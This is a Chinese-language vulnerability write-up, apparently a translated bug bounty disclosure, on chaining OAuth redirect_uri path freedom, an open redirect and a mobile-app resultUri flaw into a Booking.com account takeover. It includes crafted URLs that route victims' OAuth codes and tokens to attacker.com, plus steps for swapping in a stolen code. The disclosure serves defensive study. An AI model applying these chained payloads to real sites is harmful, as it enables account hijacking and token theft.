OAuth 中的安全漏洞可能导致身份盗用、金融欺诈以及对各种个人信息（包括信用卡号、私人消息、健康记录等）的访问。去年，许多有趣的博客描述了登录OAuth流程中的帐户接管，例如Frans Rosen的“Dirty Dance”和Youssef Sammouda的博客，调查结果使他获得了Facebook的44,625美元奖励。这些博客和其他博客提供了有关OAuth内部工作原理以及与之相关潜在风险的宝贵见解。

二、OAuth 如何用于身份验证？

让我们从一个简单的非技术图开始：

让我们一一解释这些步骤：

1. 您输入 Randomsite.com，然后单击“使用Facebook登录”。

2. Randomsite.com 将打开Facebook的新窗口。

3. 如果这是您第一次使用 Randomsite.com，Facebook 会要求您给予许可。否则，Facebook 将自动对您进行身份验证。

4. 点击“继续以约翰身份”后，脸书将生成一个秘密令牌。此令牌对 Randomsite.com 是私有的，并与您的 Facebook 个人资料相关联。

5. Facebook使用此令牌将您重定向回 Randomsite.com。

6. Randomsite.com 使用该令牌直接与Facebook交谈以获取您的电子邮件地址。

7.Facebook批准这确实 [email protected]，Randomsite.com 可以登录他。

现在，让我们通过向图表添加 URL 来深入了解更多详细信息：

在步骤 2-3 中：

约翰点击Facebook登录后，Randomsite.com 会打开一个新窗口，指向以下地址：

https://www.facebook.com/v3.0/dialog/oauth？redirect_uri=https：//randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.

请注意redirect_uri参数 - 它告诉Facebook在步骤4-5中将令牌发送到何处。

在步骤 4-5 中：

Facebook为 Randomsite.com 准备了一个秘密令牌（client_id参数告诉Facebook请求来自 randomsite.com），并将您的浏览器重定向回redirect_uri。确切的重定向：

https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]

在步骤 6-7 中：

Randomsite.com 从URL读取令牌，并使用以下API使用它直接与Facebook通信：

https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token]。

响应是 [email protected]。

示例中的流称为“隐式授权类型”，这在没有后端的单页应用程序和本机桌面应用程序中很常见。尽管我可以使用没有后端（没有 Randomsite.com）的示例，但我决定将隐式授权类型与后端结合使用，因为它更容易理解。

谷歌、苹果和其他知名供应商也遵循类似的流程。一种较新的方法利用了PostMessage功能而不是重定向，但我们在本文中没有讨论该用例。使用重定向仍然是最常见的方法。

三、实施 OAuth

OAuth 在 Booking.com 中的工作原理

该流程与具有 Randomsite.com 的示例非常相似，只是它包含一个新步骤，我们将其标记为红色：

步骤1：在 Booking.com 中，您单击“使用Facebook登录”。

步骤 2-3：

预订将打开以下链接：https://www.facebook.com/v3.0/dialog/oauth？redirect_uri=https：//account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

请注意，响应类型是代码，而不是我们在 Randomsite.com 示例中看到的令牌。

代码是应与令牌交换的临时值。它增加了一个额外的安全层，我将在步骤 6-7 中解释。

步骤 4-5：

Facebook 会验证您的身份，并使用代码将您重定向回 booking.com。

https://account.booking.com/social/result/facebook?code={代码}&状态=[large_object]

请注意，代码 account.booking.com 是在查询参数（？code=）而不是像 Randomsite.com 示例那样的哈希片段（#token=）。稍后我们将详细解释此问题。

步骤 6-7：

要获取令牌，booking.com 需要使用以下Facebook API将代码与令牌交换：

此步骤只能由 Booking.com 完成，因为它涉及只有 Booking.com 知道的 {应用机密}。该代码是一次性使用的 - 也就是说，它只能交换一次。这种方法更安全——如果攻击者窃取了代码，几乎不可能被利用。

步骤 8-9：

正如我们在 Randomsite.com 中看到的那样，Booking.com 使用Facebook API来获取有关您的信息，例如您的电子邮件地址。如果 Booking.com 有一个使用此电子邮件的帐户，则 Booking 会将您登录到此现有帐户。

此流在几乎每个新式站点中都很常见，称为“授权代码授予”或“OAuth 显式流”。

四、帐户接管

在OAuth中，攻击者的目标是窃取受害者的令牌或代码。在预订的情况下，重点是代码。我在OAuth研究中的一般方法是通过更改每个参数来引起流的意外行为，以了解这些操作如何推动我成功发起攻击的能力。

我能够将三个不同的安全问题链接在一起，我将详细解释这些问题，以便在 Booking.com 时实现完整的帐户接管。

安全漏洞 1 - 不允许唯一路径

通过操作此站点的OAuth序列中的一些步骤，我能够学习有用的信息并开始操作路径。

在正常行为中，就像我之前解释的那样，当用户点击“使用Facebook登录”时，Booking会将用户重定向到Facebook中的以下链接：https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code。

在第 1 步中，我将redirect_uri更改为其他路径，并将此链接发送给受害者：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/an/attacker/wants&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

请注意，我们无法更改原点（account.booking.com），因为 Facebook 会抛出错误 - 它与 Booking.com 提供的预定义原产地不匹配。

当 Booking.com 注册到Facebook时，他们为redirect_uri提供了预定义的来源，但没有提供确切的路径。因此，Facebook只能在重定向发生之前验证源。

步骤4：此链接会将受害者重定向到：

https://account.booking.com/ any/path/an/attacker/wants？code=[secret_code]？state=[large_object]

‍

我们可以将代码发送到我们想要的任何路径，所以现在我们寻找一种方法将代码发送到我们控制的另一个源/域。

安全漏洞 2 - 开放重定向

此时，我需要一条 booking.com 路径，将受害者重定向到我的受控域。这就是开放重定向漏洞的定义。

我开始探索 Booking.com 的功能，我在“我的仪表板”中发现了一件有趣的事情：

单击“添加显示名称”，指向以下 URL：

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9

该 URL 会自动将用户重定向到：https://account.booking.com/mysettings/personal。你能猜到怎么做吗？

我立即注意到状态变量包含一个base64 json字符串：eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9。

让我们解码一下：

似乎 Booking 使用mysettings_path来确定如何重定向用户。

让我们对以下 JSON 进行编码：

We got eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

我们替换原始链接中的状态，并向受害者发送新链接：

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

该链接会自动将受害者重定向到较短的链接（我之前跳过了它）：

https://account.booking.com/settings/oauth_callback?state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=not_important_123

然后到：

https://attacker.com/index.php

您可能已在打开重定向链接中看到“OAuth”或“redirect_uri”一词。我认为这是 OAuth 在 Booking.com 的内部实现。它与Facebook或安全漏洞1的redirect_uri无关。

现在我们在 booking.com 中有一个开放的重定向错误。

五、安全漏洞 1 + 2 = 帐户接管尝试

从安全漏洞 1 到 Facebook 的链接（我们可以将代码发送到我们想要的任何路径）：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/we/want&scope=email&client_id=210068525731476&state=large_object]&response_type=code

来自安全缺口 2（重定向到 www.attacker.com）的开放重定向链接为：

让我们在安全漏洞 1 的redirect_uri中插入打开的重定向链接：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&范围=电子邮件&response_type=代码&client_id=210068525731476

我们将此链接发送给受害者。

更改响应类型

如果受害者点击链接，Facebook 会将用户重定向到安全漏洞 2 中的 URL，并带有代码：

它是具有开放重定向的 URL（状态 eyJteXN...指向 attacker.com），因此 Booking 将受害者重定向到：https://attacker.com/index.php。

但是，在重定向中，浏览器仅传递“#”（哈希片段）之后的值。在查询参数（？=code=）中传递的代码未发送到 attacker.com（未显示在重定向到 https://attacker.com/index.php 中）。

通过将响应类型从“代码”更改为“代码，令牌”。Facebook将在哈希片段中同时发送代码和令牌。这是一个功能:)

原因是：由于访问令牌是 OAuth 中的超级敏感值，因此使用哈希片段是一种更安全的方法。它不会发送到服务器端，也不会出现在日志中——只有 javascript 代码可以读取它。（有关此详细信息的更多信息，您可以在Google上搜索“OAuth隐式授权”。

流程摘要：

步骤1：攻击者向受害者发送以下链接：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=代码，令牌&client_id=210068525731476

第 2 步和第 3 步：受害者点击新链接（响应类型=代码，令牌）后，Facebook 会自动将用户从安全漏洞 2 重定向到 URL，并在哈希片段中带有代码：

第 4 步和第 5 步：这是具有开放重定向的 URL（状态指向 attacker.com），因此 Booking 会将受害者重定向到：https://attacker.com/index.php

第 6 步：浏览器将代码添加到哈希片段中，并将受害者重定向到：

https://attacker.com/index.php #code=[secret_code]&access_token=[令牌]

可选：让我们看看 attacker.com/index.php 的源代码：

索引.php - 读取 url 并将其发送到保存.php的 JavaScript 代码。

保存.php - 将输入保存到日志文件。

（我用 sanppify.com 生成了代码）

帐户接管尝试 1

在这一点上，我们有受害者的代码。我们（作为攻击者）需要启动一个新的登录流程，并将我们的代码替换为受害者代码。我们再次单击“使用 Facebook 登录”并使用我们的帐户登录。

在正常流程中，在Facebook对我们进行身份验证后，它会使用我们的代码将我们重定向到预订：

https://account.booking.com/social/result/facebook?code={our_code}&state=[large_object]

我们拦截此请求。 我们将代码替换为受害者被盗的代码：

https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object]

Booking.com 应该将代码交换为令牌，并获取受害者的个人资料信息。

什么回来了？等着...

“无效代码”

什么也没发生。我错过了什么？

调试帐户接管失败 – 我们错过了什么？

从 Facebook 文档中，要与令牌交换代码，后端的 Booking.com 应该使用此 API：

在文档中，Facebook写道：“此参数（redirect_uri）必须与您 启动OAuth登录过程时使用的原始参数相同”。

我们从这个链接开始了OAuth登录过程：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=token，code&client_id=210068525731476

在这种情况下，原始redirect_uri标记为紫色。此链接是来自安全漏洞 2 的开放重定向链接。

但是，在后端，当Booking使用/oauth/access_token API交换令牌的代码时，它会向Facebook发送硬编码值“https://account.booking.com/social/result/facebook”作为redirect_uri。这是预订在正常流程中使用的redirect_uri。

在同一个OAuth流程中，Facebook得到了两个不同的redirect_uri，变得可疑，因此抛出了一个错误。

寻找安全漏洞 3

在这一点上，我无法在网上找到解决方案，所以我决定对 Booking.com 的移动应用程序做一些研究。我使用Android studio，Frida（绕过SSL固定）和反编译器来读取该应用程序上负责OAuth的代码。

为了拦截移动应用程序和后端之间的请求 Booking.com 我使用了 Burp。

移动应用程序上的交易所图有点令人困惑——您可以只关注第 6 步：

移动应用程序中的 OAuth 流与网站上的流有一个主要区别 - 步骤 6。

步骤 3 到 6：将代码传递给移动应用程序，然后移动应用程序将其发送到 Booking.com。为了更准确地说，代码被传递给Chrome->Booking.com->MobileApp->Booking.com

我不知道为什么这个乒乓球是必要的。

第 6 步：移动应用程序使用 post 请求将代码传递给 Booking.com：

注意结果 Uri。你能猜出预订是用它做什么的吗？

如果 Booking.com 使用 resultURi 作为与 token 交换代码redirect_uri，并且我们可以控制这个值，那么我们可以绕过 Facebook 的验证。

我们用于攻击的原始redirect_uri是：

总而言之，作为攻击者，我们需要：

使用攻击者帐户从攻击者移动应用程序登录到 Booking.com。
在步骤 6 中截获请求。
将我们的代码替换为被盗的受害者代码。
将 resultURi 替换为我们用于攻击的链接（booking.com/state=eyJteXn..）

我们将该请求发送给 Booking.com，然后...游戏结束。我们可以登录受害者帐户。

【OAuth漏洞】第三方身份验证-账号接管

一、什么是OAuth？

二、OAuth 如何用于身份验证？